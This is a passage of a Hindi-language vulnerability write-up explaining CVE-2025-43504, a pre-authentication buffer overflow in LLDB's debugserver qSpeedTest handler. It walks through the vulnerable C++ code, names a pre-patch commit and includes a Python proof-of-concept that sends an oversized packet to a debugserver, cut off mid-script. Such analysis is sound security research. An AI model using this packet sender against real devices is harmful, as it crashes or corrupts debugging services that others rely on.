जब अच्छे /bins बुरे हो जाते हैं: LLDB के debugserver में एक रिमोट प्री-ऑथेंटिकेशन ओवरफ्लो

---

परिचय

बड़े होते हुए, मुझे अपने स्थानीय Walmart में DVD के डिब्बों में खोदाई करने में हमेशा मज़ा आता था। मैंने देखा कि बहुत सी एक जैसी फ़िल्में ऊपर रखी रहती थीं, लेकिन अगर आप वास्तव में अंदर खोदाई करते, तो आपको अधिक दिलचस्प और विशिष्ट शीर्षक मिलते।

जब कोई प्रोग्राम किसी बफ़र को ओवरफ्लो करता है, तो आप अनिवार्य रूप से उसकी सस्ते दामों वाली टोकरी में पहुँच रहे होते हैं। आप कितनी दूर तक पहुँचते हैं, उसके आधार पर DVD - या इस मामले में, मेमोरी में अधिलेखित संरचनाएँ - बदल सकती हैं।

आज की सौदेबाज़ी /bin CVE-2025-43504 है: एक रिमोट प्री-ऑथेंटिकेशन ग्लोबल बफ़र ओवरफ्लो जो मुझे LLDB के debugserver में मिला था।

हम यहाँ कैसे पहुँचे?

एप्लिकेशन डेवलपमेंट के दौरान, डेवलपर्स को अक्सर अपने ऐप को किसी भौतिक iOS डिवाइस पर डीबग करने की आवश्यकता होती है। इसे पूरा करने के लिए, Xcode लक्ष्य iPhone पर एक Developer Disk Image माउंट करता है और फिर उसके साथ पेयरिंग करता है।

एक बार पेयर हो जाने पर, macOS होस्ट iOS क्लाइंट के साथ क्लाइंट पर स्थापित debugserver का उपयोग करके संचार करने में सक्षम होता है। अब कोई भी क्लाइंट जो डिवाइस के debugserver के साथ GDB-remote सत्र स्थापित कर सकता है, वह qSpeedTest हैंडलर तक पहुँच सकता है और कमज़ोर बफ़र को ओवरफ्लो कर सकता है।

आइए बेहतर ढंग से समझने के लिए कि Apple ने CVE-2025-43504 को कैसे वर्गीकृत किया, Xcode 26.1 सुरक्षा रिलीज़ पृष्ठ पर एक नज़र डालें:

आधुनिक सॉफ़्टवेयर शमन के कारण, Apple बफ़र ओवरफ्लो को मुख्य रूप से एक डिनायल-ऑफ़-सर्विस समस्या मानता है, न कि भ्रष्टाचार प्रिमिटिव के रूप में। जैसा कि हम आज पता लगाएँगे, यह आम तौर पर सच है क्योंकि एक हमलावर को कई बाधाओं को पार करना होगा और संभवतः मनमाना कोड निष्पादन प्राप्त करने के लिए इस मुद्दे को किसी अन्य बग के साथ जोड़ना होगा।

Pwn के लिए एक छोटा कदम, Pwnkind के लिए एक बड़ी छलांग

यदि आप debugserver के पैच-पूर्व संस्करण के साथ प्रयोग करना चाहते हैं, तो निम्नलिखित कमिट या ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de से पहले की कोई भी कमिट का उपयोग करें:

git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

आपको एक बड़े डीबगर की आवश्यकता होगी

RNBRemote.cpp में पैच से पहले, कोई भी रिमोट उपयोगकर्ता जो किसी iOS डिवाइस के debugserver से कनेक्ट हो सकता था, वह RNBRemote::HandlePacket_qSpeedTest को प्री-ऑथेंटिकेशन qSpeedTest पैकेट भेज सकता था और debugserver के ग्लोबल डेटा सेगमेंट में आसन्न संरचनाओं को दूषित कर सकता था।

हालाँकि, एक महत्वपूर्ण चेतावनी है: हम केवल भ्रष्टाचार की लंबाई को नियंत्रित करते हैं। पेलोड की सामग्री 'a' वर्णों की एक स्थिर धारा पर तय होती है। जबकि छात्र लगातार उच्च अंकों का आनंद ले सकते हैं, इस ओवरफ्लो की व्यावहारिक उपयोगिता इस तथ्य से बहुत सीमित है कि हम वास्तव में लिखे जा रहे बाइट्स को नियंत्रित नहीं कर सकते - केवल यह कि 'a' की बाढ़ कितनी दूर तक जाती है।

अब, आइए RNBRemote::HandlePacket_qSpeedTest के हुड के नीचे एक नज़र डालें कि वास्तव में क्या हो रहा है:

rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // We control the length of response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // The overflow of g_data by a's occurs here
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

RNBRemote::HandlePacket_qSpeedTest() की भूमिका एक रिमोट उपयोगकर्ता से आने वाले qSpeedTest:response_size:<hex>; पैकेट को संसाधित करना है, बिना प्रमाणीकरण की आवश्यकता के, जो iOS डिवाइस के debugserver बाइनरी के साथ संचार कर सकता है।

हालाँकि, एक बार जब कोई रिमोट उपयोगकर्ता debugserver को qSpeedTest:response_size:<hex>; पैकेट भेजने में सक्षम होता है, तो उपयोगकर्ता द्वारा प्रदान किए गए response_size को संसाधित करने से पहले debugserver के भीतर कोई प्रमाणीकरण जाँच नहीं होती है। इसलिए, कोई भी उपयोगकर्ता जो Developer Disk Image के साथ माउंट किए गए iOS डिवाइस के साथ संचार कर सकता है, वह qSpeedTest:response_size:<hex>; पैकेट के माध्यम से debugserver को ओवरफ्लो करने में सक्षम है।

बस तैरते रहो, तैरते रहो, तैरते रहो

अब जब हम कमज़ोर फ़ंक्शन RNBRemote::HandlePacket_qSpeedTest() तक पहुँच गए हैं, तो आइए ठीक से जाँचें कि ओवरफ्लो कैसे होता है। सबसे पहले, qSpeedTest:response_size:<hex>; पैकेट में उपयोगकर्ता द्वारा प्रदान किया गया आकार <hex> निकाला जाता है और वेरिएबल response_size में संग्रहीत किया जाता है:

p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

यदि पार्सिंग सफल होती है और अगला कैरेक्टर एक सेमीकोलन है, तो एक फ़ंक्शन-लोकल स्टैटिक 4 MiB + 16‑byte बफ़र g_data को इनिशियलाइज़ किया जाता है और ASCII हेडर "data:" से सीड किया जाता है:

if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

ओह, मैंने यह फिर से कर दिया

सब कुछ एक साथ रखते हुए, memset फिर स्टैटिक 4 MiB + 16‑byte बफ़र g_data को 'a' से भरता है, जिसमें उपयोगकर्ता-नियंत्रित response_size मान का उपयोग 'a' की संख्या के रूप में किया जाता है।

  // The overflow of g_data by 'a's occurs here
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

इसलिए, जब भी कोई रिमोट LLDB क्लाइंट qSpeedTest:response_size:<hex>; पैकेट को 4 MiB + 16‑byte बफ़र से अधिक response_size के साथ भेजता है, तो एक बफ़र ओवरफ्लो होता है और debugserver के ग्लोबल डेटा सेगमेंट (.bss) में संग्रहीत आसन्न ग्लोबल वेरिएबल्स को दूषित करता है।

जब अच्छे Bins बुरे हो जाते हैं

अब जब हम ओवरफ्लो के पीछे की वास्तुकला को समझ गए हैं, तो आइए अब कमज़ोरी के वास्तविक यांत्रिकी में गोता लगाएँ। शुरू करने के लिए, आइए g_data ओवरफ्लो के माध्यम से प्राप्त भ्रष्टाचार प्रिमिटिव का पता लगाने के लिए निम्नलिखित Python प्रोग्राम का उपयोग करें:

import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # send the oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Optional tiny nudge to exercise pointer use
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
    args = ap.parse_args()